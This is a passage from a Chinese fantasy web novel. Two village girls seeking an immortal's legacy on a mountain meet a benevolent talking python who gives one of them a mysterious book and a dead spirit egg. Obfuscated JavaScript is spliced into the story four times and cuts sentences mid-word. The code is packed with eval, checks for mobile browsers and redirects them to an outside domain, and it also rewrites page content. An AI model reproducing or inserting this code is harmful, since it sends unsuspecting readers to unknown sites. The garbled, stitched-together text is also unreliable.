“妙清幸不辱命,随诸位同修一道将逃狱而出的旱魃镇压。” “而今,大旱已解!” “大旱已解!” 慷锵有力的四字在天地间反复回荡,青禾莫名地腿一软,泪流满面地趴伏在地。 四周尽是村民们的悲哭,低声抽噎、嚎啕大哭……明明已经苦尽甘来,明明在等待死亡之时还在麻木迟钝。 此时此地所有的村民如同新生儿降世,从黑暗混沌中睁开双眼,发出生命顽强不屈的嘶吼。 “我手中乃正明观开派祖师所遗留至宝拂柳净息玉如意,此法宝可集天地之灵气解凡人之疴疾。受此灵气灌注,你们的身体已经恢复生机了。朝廷与仙门共同筹集了赈灾粮,足够支撑你们到下次秋收。” “乡亲们,你们可以好好活下去了。” 热乎香甜的粮食气息弥漫。 灶膛里的火跳跃不止,映照着青禾黑黄的小脸渐渐有了些红粉血气,她挑了根小柴火送了进去。 仙人,在青禾的心目中是斩妖除魔,解危救难,是在危机来到时有奋力一搏的机会,给自己,给家人乡亲们挣出一条生路。 那次大旱后,为了能让更多百姓活下去,妙清观主拼尽自己几十年的修行,透支寿命催发法宝玉如意,强行将自己使用法宝的极限从一天三次变成一天数十次。 绝大部分百姓因她而活命,而她自此后修为大减,从正值壮年变成了一个鸡皮鹤发的老太太。 然而妙清观主从不后悔。 青禾想着观主的银发、观主的沧桑、观主的衰弱,她觉得这些才是一个仙人真正不朽的勋章,所以她想成为一个像妙清观主这样的仙人。 —— 青禾赶在出发前终于收拾好一切,头一天晚上跟父母打了声招呼,说要早点去,没办法给家里准备早餐了。 父母又揶揄了几句,嘱咐她既然去了,就要努力干活,不可给观主留下懒惰的坏印象,也就同意了。 尽管第二天要去办大事,青禾心里依旧没什么负担,早早睡下,一夜无梦。 凌晨起床,神清气爽,她就着冷水吞了几口馍馍权当早餐,抱着自己的小包裹就出发了。 繁星闪烁,银河荡漾。 没有火把照明,熟悉路况的青禾也能走得快活顺畅。 她唯一有点担心的是谢久安。 那个大小姐不知道能不能按时赴约,毕竟伏虎令在她手上,她不来,一切努力化诸东流水。 她想起了观主常常挂在嘴边的一句话:尽人事,听天命。 在能力范围的事情该努力的努力,其他不是自己能操控的就顺其自然吧,过度忧虑也没用。 青禾抚顺了心情,在约定的大石碑后等待。 好在谢久安还算靠谱,她等了不到一刻,就等到满脸激动、脚步匆匆的伙伴。 青禾盯着对方背上巨大的、显眼无比的包裹。 “你都带了些什么啊,这么多!” 久安兴奋地翻开包裹,一一展示。 “我们要进山得准备充足啊,瞧一瞧,这些都是经过我一番周全思虑后的重要物件。” 一大包油纸包裹的肉脯,一整盒塞得满满当当的糕点,两大包几乎碎成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042902|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渣的酥糖,两颗勉强还算新鲜的萝卜,一把火折子,一把小臂长的匕首,两套衣服,两双鞋子…… 她甚至还带了两张大红花的床单! “你怎么不把家扛过来?”青禾头痛,本来以为没出过远门的大小姐会丢三落四,不记得带重要的东西。但没想到对方的不靠谱是另一个层面的。 “久安,我们是跟踪,偷偷地跟在人家屁股后面要小心翼翼地不被发现,你这么大的包裹太显眼了。”青禾深吸一口气,试图跟对方讲道理。“而且我们就去一天,天黑前就回来了。带这么多东西没用。” 谢久安有些沮丧,她扒拉了下对方的包裹,发现里面只有四个馍馍、一个水囊、一把镰刀、一段草绳。 “这些食物我都多带了一份给你,还有这衣服、鞋子,我担心山上天气不好,都给咱俩多准备一份,这么多都没用吗?” 青禾看着垂头丧气嘟囔着的小姑娘,心里暖暖的,她轻轻搂了搂她的肩膀。 “谢谢你,久安。我原本担心你还特意多准备了两个馍馍……没想到你考虑得这么周到。不过我们确实要少带些,你准备的都是长途跋涉才需要的。” 她声音轻盈,语调上扬,“我们可以把东西都藏在石碑后面,等我们得到仙人传承,正好用来庆功!托你的福,我还从来没吃过这么好吃的食物呢。” 久安脸上多云转晴,笑了起来,“好,等我们之后庆功!” 两人开始分分拣拣。 青禾本想将多余的两个馍馍也藏在石碑后面,但久安不让,她将两个粗糙的杂粮馍馍塞进自己的包裹,“我还从没吃过你做的饭,这次一定要尝尝!” 久安将肉脯一分为二,分别装进两人的包裹,“吃点肉走山路更有力气,谁知道会有什么考验等着我们。” 青禾大大方方地接受了,但对于其他食物她再不肯拿,也劝说着伙伴尽量少拿。 火折子和匕首是必须要带的。 青禾家里没有火折子,从伙伴那里分得两个,非常高兴。谢大小姐的尾巴因此洋洋得意地翘了起来。 只是匕首有点问题。 不知道久安从哪里翻出来的,从刀鞘里拔出来才发现都生锈了。 谢大小姐的尾巴悄悄地藏了起来,一脸心虚。 “没事,先带着。再不济我还有镰刀呢。我们跟在大人身后不会有什么危险的。”青禾安慰道。“等下山了,我帮你磨磨,就又是把好匕首了。” 久安呵呵干笑,她在家里一心翻腾着找好吃的,差点忘了要准备防身武器,还是临走前突然想起,从库房里随便拿了一把就走了。 自家亲爹抠抠搜搜,库房屋顶坏了一角,一直不肯请工匠修补,非要等春耕结束了,工匠闲下来价钱便宜了再请。库存的粮食都塞进卧室堂屋,挤得满满当当,其他物件就没怎么管,想着不怕雨林。谁想到急用的匕首就能锈了。 等回去了,她要好好跟她爹谢三求说道说道,这可差点毁了他自个女儿的成仙路。 两个小姑娘收拾好了,静静在石碑后等待着大部队的到来。 5. 惊吓 四季村、黑石村、民和村、八里村。 这四个是离四季山最近,人数能有四五百的大村,其余则是零零散散分布在大村周边、人口不过几十或一百的小村子。 白虎祭以四个大村子为主导,此次进山的狩猎队也大都是这几个村子里出来的好手。 一行大约十二个猎手从远处走来。 两个小姑娘身体都紧绷起来,肩并着肩伏低身体,连呼吸都放轻缓了。 好在山石碑立在一小片土坡上,只要她俩躲在后面不出声,大概率没人往坡后探寻。 打头的是四季村的老猎人木有成,他的一双儿女木辛与木瑛紧跟在他身后。 木有成在石碑边停下,一双鹰隼般的眼睛扫视着众人。 此时天空星河隐淡,只余一片雾蒙蒙的灰蓝笼罩四方,将亮不亮。好在作为猎人时常能吃到肉,眼睛在昏暗的环境下能视物。 木老爷子看着其余人,注意到几个年纪轻的面带疲色,心下了然。 年纪轻沉不住气,遇到祭祀这样的大事睡不着也正常。 祭典贡品众多,但其中最重要的是他们狩猎队贡献的肉食,要是打不到好猎物,难免丢面子,祭典也不好看。 晚上彻夜难眠,一大早上起来从各个村子赶路集合,确实令人疲惫。 他安排众人休息片刻,恢复精神再进山。 黑石村的一个小伙子靠着石碑边缘坐下,手里把玩着竹哨,时不时放到嘴里吹两声,哨音清脆悦耳,如同鸟鸣。 与他同村的另一个伙伴嫌吵,“前两天就发了哨子,别跟我说你没练好,现在专门来练着。” 听着伙伴着恼的声音,哨子小哥好脾气地停下来,笑着道:“我就是觉得好玩,嘿,我头一次进山拿哨子和别人传消息,木老爷子真是见多识广。” 这竹哨正是木有成发给他们的。 按他的说法,这么多人一起进山,不可能都聚在一处,都要分成几个小队去不同地方转悠。万一遇到什么大型猎物,比如野猪、狍子什么的,人少不好抓,用这个音调特殊,好似鸟鸣的哨子互相联络,既能不打草惊蛇惊走了猎物,也能最快速度知晓情况。 “三长一短是有大家伙,连吹三次短促哨音是有危险,两短一长是报告位置……”小伙子嘟嘟囔囔,倒也没再吹出响声。 休息了一会儿,狩猎队起身出发。 哨子小哥也准备站起来,可他毛手毛脚,竟然不知怎么把包袱打散了,慌忙收拾起来。 其他人已经走到前面了,他赶忙把勉强系上的包袱挎在背上,手里的哨子也来不及挂在脖子上,而是随手塞到包袱缝里就要赶忙追上伙伴。 长长的脖绳荡漾在半空中。 青禾猛地探出身子,快准稳地抓住半空中晃悠的绳子。 哨子无声无息地掉落,小哥毫不知情地追赶队伍。 青禾快速缩了回去,惊得谢久安捂着心口不敢大喘气。 “你干嘛?!” 等着前面人走远一点,她才低声问青禾。 “给我们的寻仙之路加点保障。”青禾拎着绳子在眼前晃荡着。 “这也太冒险了,万一被发现就惨了。”久安也听到了刚刚关于哨子的对话,但她仍然心有余悸。 “我的身手麻利着呢,看准时机再出手,你看这不是平安无事?”青禾直接把哨子套在小伙伴的脖子上,“这个给你这个菜鸟,万一有事,赶紧吹响它。” “那你怎么办?”谢大小姐吃了一惊,她有点感动,又急忙想把哨子还回去。 “别推来推去浪费时间了,我们得跟上了。”小姑娘拉起朋友的手,“真要有事,我活下来的机会比你大多了,我的体力更好,认识的野物更多,别的不说,你知道哪些野菜能吃吗?” 见对方摇摇头,又欲言又止。 青禾笑了笑:“所以我比你厉害,当然要保护你啦。” —— 青禾与久安不敢跟着太紧。 好在上山的路早被许多村民踩出了明显的痕迹,狩猎队也不打算另辟蹊径,她俩跟着也算容易。 走了约莫半个时辰,前面的队伍开始分散开。 木有成将队伍分成四小队,分别向不同方位探索。 谢久安想跟着木老爷子那一队,被青禾拽住了。 “别去,木爷爷经验老到,眼光毒辣,我们跟过去说不定会被发现,而且他们一队肯定是冲着大猎物去的,跟着也危险。” 她拉着小伙伴跟上了哨子小哥所在的队伍。 “我们跟着他们,这小哥粗心大意,到现在还没发现自己哨子不见了,他们这一队肯定不会被委派什么重要任务,跟着他,我们也不用太紧张,可以四处活动活动,找找我们要的东西。” 青禾预判得不错,哨子小哥和他的同伴只是查探以前设的陷阱里有没有收获,这小哥一路上嘻嘻哈哈,时不时试图用弹弓打鸟,可惜没打着,他的同伴倒用弹弓打晕了只野兔。 两个小姑娘纳闷,这个水平怎么选进来的,想到父母平时办事总挂在嘴边的托关系,难不成他也是托关系进来的? 三个人动静挺大,青禾不担心跟丢,和久安离得远一点开始探索。 圆滚滚的露珠折射着熹微晨光沾湿了她们的衣襟,望着满眼灌木,树木,两人一时间不知道如何下手。 “我们得找找大型野兽的痕迹吧,白虎的爪子很大吧?”久安犹豫地说。 “老虎的爪印长什么样子?大个几倍的猫咪爪印吗?”青禾也烦恼着,她还没跟着瑛姐辨认野兽痕迹,万一找错了岂不是送死。而且,她们跟着这一队来说,应该是条安全路,大型野兽可能就没有了。 久安有不同意见:“也不一定只有野兽常出没的危险地方能找到线索,你想啊,白虎是只仙虎,别的野兽怕它不敢到它的地盘来,所以,说不准我们在安全的地方找反而是对的。” 可这又该怎么找呢? 两人重新犯难。 “有了!”青禾眼睛一亮,“百兽之王统御山林,那仙老虎肯定也是四季山的大王了,那大王总得有自己的洞府和手下吧。”话本里都这么讲成了精的妖怪会有小妖怪上供侍奉,那么成仙的就只会更厉害。 “我们拿着令牌放到动物的跟前,有不同寻常反应的,肯定就和白虎有关系了。” “妙哇!”久安开心地想拍手较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042903|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,又硬生生地停下了。 两人开始寻觅动物。 左前方石头底下有蛙叫,她俩掀开一看,原来是只癞蛤蟆。 圆鼓鼓的眼睛瞪着两个小姑娘,竟然没有立刻逃跑。 有戏! 两人心中同时暗喜。 久安蹲下,拿着令牌在癞蛤蟆眼前晃了晃,“认识不,认识的话,带我们去找你家主人。” 良久,□□一动不动,久安疑惑地拿开令牌,“听不懂人话吗,可我不会□□语啊。” 话音未落,□□猛地一跳,直扑女孩的脸上,吓得她一屁股蹲坐地上,身体后仰摔倒,它又趁机跳到草丛里往远处蹦跶。 青禾看着惊慌失措逃生的癞蛤蟆,才明白原来刚刚是被自己两个庞然大物吓傻了,半天才反应过来逃命。 她忍笑扶起了小伙伴,帮忙摘掉发间的草叶,“这个不是,我们再找下一个。” 一只松鼠跳到树上捧着自己还没吃完的过冬粮啃着,两个女孩又到树下,举着令牌朝松鼠问道:“认识这个吗?” 担心松鼠眼睛不好看不清小小的令牌,青禾抱住久安的腿往上抬了抬,可对方无动于衷,目空一切地啃着松果。 两人不气馁,又跑去问停落在灌木丛里的鸟儿,不出意外地,还没等人靠近,鸟儿就飞了。 去问在石头上横刀怒目的螳螂,久安的手指差点被螳螂的镰刀划破,女孩赶紧退下,敬而远之。 …… 各式各样的小动物小虫子一一问过,毫无线索,她俩又要注意别跟丢大人,累得气喘吁吁,甚至有点怀疑自己是不是有点傻。 赶紧摇了摇头将这个危险的念头丢出去,两人开始复盘。 “我们找的动物虫子都没咱俩巴掌大,最大个的就是那只松鼠了,仙老虎应该没那么跌份,找它们当小弟。” “对,我们得找点大一点的动物。” 可又谈何容易,前面的三人小分队早把能惊的都惊跑了。找到那些小动物也算是厉害的了。 小姑娘们愁眉苦脸。 突然前面传来了几声喝倒彩声。 一只灰褐色的野兔飞快地从前方窜出来,一个转弯不顺,碰的一下撞晕在不远的树下。 “这就是传说中的守株待兔?”久安震惊地喃喃自语。 前方传来哗啦哗啦拨动草木的声音。青禾手疾眼快,跑过去拎着兔子耳朵,拉着呆愣的好友赶紧躲起来。 等到三人小分队寻找一圈无果后回去了,两人才齐齐松了口气。一起看着晕厥的兔子笑起来。 她俩找了个平坦的地方准备把兔子弄醒,为了防止它一醒就跑青禾特意抓着兔子的后腿。 兔子撞得不重,浇了点水在头上很快就醒了。 久安拿着伏虎令凑到它眼前,仔细观察着它。 灰兔子没有立刻挣扎,似乎还在晕乎乎的状态还没分清状况,小鼻子倒是抽动着仔细嗅闻面前的令牌。 有门! 两人再次惊喜! 就在她俩又一次激动时,兔子毫不留情,后腿猛地一踹,在青禾的胳膊上踹出血淋漓的爪痕,趁着女孩痛呼松手的瞬间,叼起令牌就跑。 7. 柳君 呜呜的悲哭声飘荡在耳边。青禾懵懂地睁开眼。 谁?是谁在哭泣。 “青禾!青禾!我的女儿啊!你为何这样狠心,就这样走了……” 是母亲! 她急忙起身,慌张地向声源喊去:“我在这里,娘!” 没有任何声音从口中发出,她震惊地摸向喉咙。 怎么回事?我说不出话了? 没有任何触感,她低头。 一个半透明的身体飘在空中,树枝穿过她的胸口延伸向天空,飞鸟咻地一下从她脑袋越过,展翅腾飞。 回望家的方向,无数纸钱飘飞,白色招魂幡飘带涌动,火光明灭,香烛的气息弥漫。 原来,我死了啊。她迷茫地想着,空荡荡的胸膛被寒风穿刺,若有若无的疼痛一点点泛了上来。 “青禾……”一个虚弱的声音在她身后呼唤。 她猛然转头,久安面色惨白地躺在她身后的空地上,鲜红的血液不断从口中溢出,形成一大片绵密的血色泡沫,从下巴,从脖颈,从胸口破开的、血肉模糊的空洞处漫延。 瞳孔渐渐扩散,躺在冰冷荒芜土地上的女孩不甘心地挣扎着,她想努力地抬起手臂,却只能动了动手指,“青禾,救救我……救……救我……” “不!”汹涌的剧痛霎时间袭来,青禾惨叫着,她扑向渐渐冰冷僵硬的好友,却发现无论如何都无法离开原地,她悲痛地弯下腰,紧紧抓着胸口的衣襟,大口大口喘息着。 风雪覆盖住女孩脸颊、口鼻、身躯,形成了一个小小的白色坟丘。 青禾凄惨地哀嚎着,状若疯狂,“是我,是我!我害死了她!我没能救下她!” 因为自己的寻仙路吗,是上天对贪婪不知满足的人类降下惩罚吗?一切痴心妄想皆不得善终! 我想成仙真的只是为了能保护亲人朋友!我不要他们再感到饥饿,我不要他们同类相食!我要他们平安顺遂过完一生! 惩罚我吧,都是我的错,不要惩罚他们! 久安!久安!对不起!对不起! “你哭了。” 青禾猛地睁开眼。 脸上一片冰凉,她愣愣地摸了摸脸,泪水沾了满手。 原来是梦吗?太好了,梦而已。 嘶哑的声音再次出现,“我闻到了从你身上散发的悲伤气息,你在悲伤什么?” 是什么在向她发问? 青禾想起来了,她昏迷之前看见了一条非常巨大的蛇,不,是蟒,会说话的蟒。 她的心情却异常平静,经历了更可怕的事情,再也没什么会让她撕心裂肺、痛不欲生了。 青禾冷静地转身,此时才注意到幽幽黑夜中竟然升起数堆篝火,明亮跳跃的火焰温暖了冷汗未消的身体,照亮了阴森晦暗的沟壑,让那只盘旋在山石上的巨蟒也不再显得恐怖凶恶。 “人类怕冷、怕黑。所以我点燃了火堆。”巨蟒平静地说。 它的声音嘶哑,尾声带着明显区别于人类、属于蛇类的颤音,语气没有任何起伏,吐字十分清晰。 青禾没有直视对方脸孔,她跪了下去,双手叠在额头上,身体伏地,做了一个虔诚无比地跪拜姿势。 “罪人田青禾不知蟒仙大人在此,误闯圣地,请大人责罚。全部罪责都在罪民身上,万望大人明鉴。” 惩罚她吧,惩罚她的不知好歹、痴心妄想,不要牵连她的家人朋友,即使要下十八层地狱,拔舌挖眼下油锅,她也甘愿领受。 一阵清风拂过,她惊奇地发现手脚不受控制,身体被扶起,好好地坐在地上,甚至离篝火更近了一点,暖洋洋的舒适遍布全身。 她仰脸不解地望向巨蟒。 银灰色的鳞片反射着橙红的火光,那双黄橙橙的竖瞳只有平和沉静没有残暴与被人打扰的不悦。 “你的身体在颤栗,可我没有闻到害怕的气息。” “我做了一个梦,经历了很恐怖的事情,再也没有任何别的事比它更令我害怕。我的脑子明白了它只是梦,我的身体还没有走出梦境。” “果然,人类总是很勇敢。我明白了,你的眼泪与悲伤都源于梦境。那么,人类,你向我供奉了这样新鲜美味的祭品,想要从我这里获得什么?” 祭品?什么祭品? 青禾险些脑子没转过弯来,眼光瞄到躺在地上的野猪才反应过来,急忙解释:“蟒仙大人误会了,我不知道您在这里。那只野猪是无意间碰到的,为了保命,我不得以和它搏斗,一路上误打误撞地过来,所以我不敢向您讨要什么。” “没有关系,我不在乎过程,野猪是因你来到我的眼前,那么就是你给我的供奉。交换公平,我一定要给你东西。” “说来也有太久太久,没有收到人类的祭品了。在我沉睡之前,山脚下的人类给我建了庙宇,他们称呼我为细柳君。” 细柳?青禾偷瞄了瞄蟒蛇比水缸还粗的腰身,巨柳还差不多吧。 “他们很奇怪,一开始总给我送小孩子,各式各样、一对对的小孩子,说是童男童女,有助我修行。” “他们竟然让我吃人!” 青禾有些惊愕,她头一次听到蟒仙语气激昂的声音。 “得道成仙,如何能吃人呢?愚昧的人类,让自己的同胞牺牲来换取无尽的欲望……” “养成习惯吃人而修炼的邪物,他们难道就不害怕吗?” “我一次次的拒绝,可他们并不听从,后来竟然认为我不过是普通的山间野兽,要拆了给我建的庙宇,赶跑我,迎接新的神灵。” 小姑娘听得震惊得瞪大双眼,她第一次听说野兽不吃人,人还要逼着野兽吃的,荒谬又可笑,她忍不住问:“后来呢?” “后来,他们拿着武器赶我,我因此遁入山间隐藏。真是奇怪。”它感叹道,“之前苦苦哀求我出山庇护他们,后来又赶跑我。” “他们将一条新蛇安置在庙宇,称呼它为细柳君,供奉童男童女。我不忍心看着同类误入歧途,将它赶入山林。保下了孩子,人类却痛恨我。” 蟒蛇的头颅垂下,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042905|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎有些不解与哀伤。 青禾有些不忍心,她看出来了,这是一条奇怪的、仁慈的、爱好和平的蟒蛇,虽然她不懂为什么一条蟒蛇竟然会有这样的性格。 她安慰道:“是那些人类有问题,柳君,你做的没错。” 蛇瞳似乎闪过一丝光亮,尽管蛇脸上并没有人类丰富的表情,但青禾总觉得它应该是高兴了。 “柳君?”它慢慢吐着信子,重复道。 “对呀,柳君。你说人类称呼你为细柳君的时候,大概在很多很多年前,你现在长这么大了,当然不能用‘细’来称呼。我的家乡都管蛇叫柳仙,所以我还是称呼你为柳君,不好吗?”说到最后,女孩有些忐忑。 “很好,我是柳君。” “你和我认识的一位故人很像,她也是这样的真诚勇敢。”柳君扬起蛇头,望向不知何时出现在天空中的一轮又大又明亮的月轮。 “我几次赶跑了人类新供奉的所谓的神灵,他们愤怒了。他们广告四方,山中妖孽横行祸害百姓,请来了许多厉害的道士来降服我。” “多亏了她,我的故友悬月真人。她发现了村民口中的矛盾之处,查明真相,还我请白。” “彼时,还有道士贪图我的皮囊、内丹,想要将错就错打杀了我。可悬月竟然以一敌百救下了我。” “我很奇怪,她为何要救一条素不相识的蛇,毕竟她的修为再如何高深,面对众多同修,终究会受伤,甚至会死亡。” “我们逃入深山,也是这样的夜晚,她浑身鲜血,仰靠着山石。她告诉我,她毕生所求不过是一个真相,万事万物的真相,没有谎言欺骗,没有黑白颠倒,为此,她愿意付出一切。” 青禾听入迷了,“原来世上还有像悬月真人这般追求自我,追求……”她停顿了下,思索着妙清观主平日跟她讲过的话,双眼一亮:“对,以身殉道!朝得道夕可死矣!” 蟒蛇震惊了,它赶忙解释道:“不不不,悬月没有死,她只是受了重伤。” 青禾也尴尬起来,“对不起,我只是想赞美一下悬月真人。一直以来,我以为只有妙清观主才有如此厉害的修为,以及一心证道的志向,我现在知道了世界上还有人和妙清观主一样厉害,我真的非常开心!” 柳君的用尾巴尖轻轻地摸了摸青禾的脑袋,小姑娘也不害怕,反而也用脑袋蹭了蹭对方。好像彼此是相处已久的朋友。 “后来,还是悬月厉害,等到伤势愈合,她让我藏好,自己突破了那群道士的封锁,去向师门求助。她的一干同门也是极好的人类,她们齐心协力大破谣言,还让山下草菅人命的人类受到了惩罚。” “我重新回到了庙宇,悬月的师门任命我为护山神兽,可以接受人类的供奉,以帮助人类来修行。又过去了很多年,我的修行小有成就,隐入深山沉眠。” “自此后,我再也没见过悬月了。” 故事讲完了,一人一蟒陷入了沉默。在这个静谧安宁的夜晚,就着耳边飒飒林叶声,就着篝火哔剥声,静静地回味着。 8. 仙缘 篝火暗淡了,青禾正想着找些柴火加进去,柳君已经用尾巴灵活地卷起一堆的木柴加进去了。它很小心翼翼地注意着不让火星迸出,燎伤尾巴和身边的人类小姑娘。 青禾和这条温和的大蟒蛇相处了一会儿,已经完全放轻松了,不再害怕对方了。 想到久安还在这深山老林里打转,她非常担心,起身向柳君辞别,寻找朋友。 柳君知晓了她的打算,阻止了她,“你并不熟悉山里的状况,独自离开不仅难找到朋友,自己也会陷入危险之中。我来帮你吧。” 说罢,它尾巴尖轻轻冲不远处一挥,无数萤火虫自草丛间飞起,它们聚在一起仿佛聆听蟒仙的指示,又瞬间飞向四面八方。 “我已经命令它们寻找你的朋友,夜晚的山间人类很少,小女孩儿更是几乎没有,它们会很容易认出目标,为她引路,让你们团聚。” 青禾想跪下向柳君道谢,又被阻止了。 “你无需如此拘谨,我今日从沉眠醒来,你便奉上供品,想来你我有缘。可以告诉我,你为什么上山吗,在我的记忆中,人类不会允许你这样年龄的孩子孤身进山。” 青禾想了想,拿出自兔子口中掉落便一直收在她怀里的伏虎令,问道:“柳君,你认识这个令牌吗?” 柳君用尾巴尖接过令牌,捧到眼前,翻来覆去地仔细查看。 “有些微残破的灵气,其他并无与众不同之处,应当是被人遗弃的废旧法器。” “不是什么仙人遗留的物品吗,你看这上面还有三个古文字,伏虎令。我和我的朋友猜测,也许是骑着白虎的仙人降临在四季山,遗留下它,等待后人寻找仙缘,我们正是为此而来。”青禾急切而认真地解释道。 柳君又仔细端详了几番,还是摇摇头,“我从未见过骑着白虎的仙人,纵使对方在我沉睡时降临,也总该遗留些痕迹,可我并未闻到灵气,反而是污浊尘气四起,山中环境已经大不如我沉睡之前。” 青禾不可置信地接过换回来的令牌,不死心地追问:“那你听说过白虎祭吗?春月惊蛰日举行的祭奠。” 蟒蛇再次摇摇头。 青禾彻底失望了,她喃喃自语:“原来是竹篮打水一场空。” 蟒蛇看着小姑娘失落的样子,说道:“原来,你们是为了寻觅仙缘而来。我曾听说古时建木未断时,常有仙人往来天地间,于灵山之中放置宝物经文,等待有缘人来寻。待后来共工一怒,撞断不周山后,建木随之倾塌。” “女娲补天,亦是将天地屏障建起,致使仙凡不通,凡人欲要成仙,必要经过七七四十九道天雷加身,方可修成正果。所以,你真要走上如此艰辛的道路?天雷之下,一旦承受不住,便会魂飞魄散,再无转世的可能。而身为凡人,虽不过几十载光阴,却依然能够渴求来世。” 青禾想了想回答:“我并没有想那么多。共工怒触不周天、女娲补天的故事,我从妙清观主那里听过,如今柳君你又跟我说起,还告诉了我更多从前未可知的细节。” 她顿了顿:“我四岁的时候,经历了一场恐怖的旱灾,我自己、家人朋友险些因此死去,是妙清观主救了大家。人生几十载,我不知道还会不会有下一个旱灾,或者其他什么的,比如水灾,蝗灾……我无法预料。妙清观主年纪也大了,不能一直庇护我们,而且我也不想一直被人保护,我也想拥有力量保护大家。” “所以我虽然是寻仙,但其实并不是想要得道飞升,我只是想用仙术的力量给亲人朋友带来更好的生活,他们不必惧怕灾害,因为我会顶在他们前头。” “我也不在乎天雷,不在乎下一世,我只是我,四季山脚下四季村的田青禾,下一世的人不是我,也没有我的亲人朋友。我只在乎现在。我会努力在死去前给大家更多的保护,那我就满足了。” “原来这就是你的道心吗?”柳君静静听完,感叹道,“人类与我们兽类的最大的不同之处,在于你们的道心,一旦坚定选择,便会迸发出无与伦比的、璀璨的力量。” “我的道心?”青禾懵懂地重复道。 “是的,不怕艰难险阻,舍弃生命也要走下去的路。你刚刚醒来看见我的时候,不就展现了你的道心吗?” 是那时候,睡梦中痛彻心扉的愧疚与恐惧,是梦醒时候虚惊一场的欣喜,是哪怕山灵降罪,只要不波及亲友,便能慷慨赴死的决心。 “对,这是我的道心!”青禾眼睛亮晶晶地抬头望向蟒蛇。 蟒蛇的尾巴尖又忍不住摸了摸小姑娘的脸颊,它也高兴极了。眼前的青禾如同许多年前它的至交好友。曾几何时,悬月也是用这样明亮有神的眼睛望着它。 “虽然你没有找到仙缘,但我可以帮助你。曾经的细柳庙是有求必应,如今庙宇不再,但柳君还在。你供奉给我野猪,我送你两样东西。” 蟒蛇张开大嘴,四颗锋利尖锐一尺多长的蛇牙显现,喉咙深处仿佛有幽深紫光迸发,两件物品随着喉咙深处的吞咽声落在地上。 干干净净,没有口涎,青禾惊奇地看着,这不是从肚子里出来的吗? 一扎古旧泛黄的书册,不知道什么材质做成的,用草绳卷成一卷。 另一件物品是泛着淡淡白光的蛋? “这件书册是我游遍山脉寻找沉眠之地时,在一处极为深邃隐蔽的山洞里发现的,里面山壁雕刻着各种图画文字,还有人类行走坐卧的器具,待我将书册取走,那山洞突然崩塌,我不得不退了出来。想来如此偏僻处竟然有人类居住,那人类定然不是普通凡人,此书赠与你,若你与它有缘,等你修道有成之日,说不定可以重游故地,一探究竟。” “这一件是我下的蛇蛋。” “啊?!柳君的孩子?这我不能要,我不会养小蛇,别给养死了。”青禾急忙摆手。 “莫急,莫急。这只是颗死蛋。凡物修炼本是逆天而行,受天道制约,子嗣会异常艰难,这是我修炼至今唯一产下的蛋,初时还有微弱生机,后来无论我如何呵护灌注灵机,它还是死掉了。如今,你可以把它当做一颗灵气丰腴的石头。”柳君平静地解释。 “那,那你不伤心吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042906|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “天道有序,轮回有常,本该如此。当我是一条普通的蛇,生命的延续是产蛋,孕育后代。如今我的生命悠长,不再需要子孙后代来延续本就漫长的生命。没有什么可伤心的。如今给了你,也算是有了用处,不枉我当初损失的灵力。” 青禾收起书册,小心翼翼地捧着质地润泽的蛇蛋,“我该怎么用它呢?” “你知道灵石吗?” 青禾摇摇头,“但我听说过灵珠,它俩一样吗?” 这次轮到柳君摇头了,“没听过。” “凡物修炼需要采集天地灵气,吸收日月精华。所谓灵石便是天地自然生成的蕴含这些精华的石头,好的灵石可以直接供修炼者吸收,使其修为突飞猛进,修行速度远不是自行吸收可比拟的,当然,不排除有些天赋出众的修炼者自行的吸收得更快。” “你可以将它当做灵石,修炼时直接吸取灵气即可。” 青禾听了,将蛇蛋推回去了,“太珍贵了,柳君你自己留着吸取灵气更好,我有书册就足够啦。” 蛇尾巴尖圈成一个圈,将蛇蛋捧起来又塞回青禾的怀里。 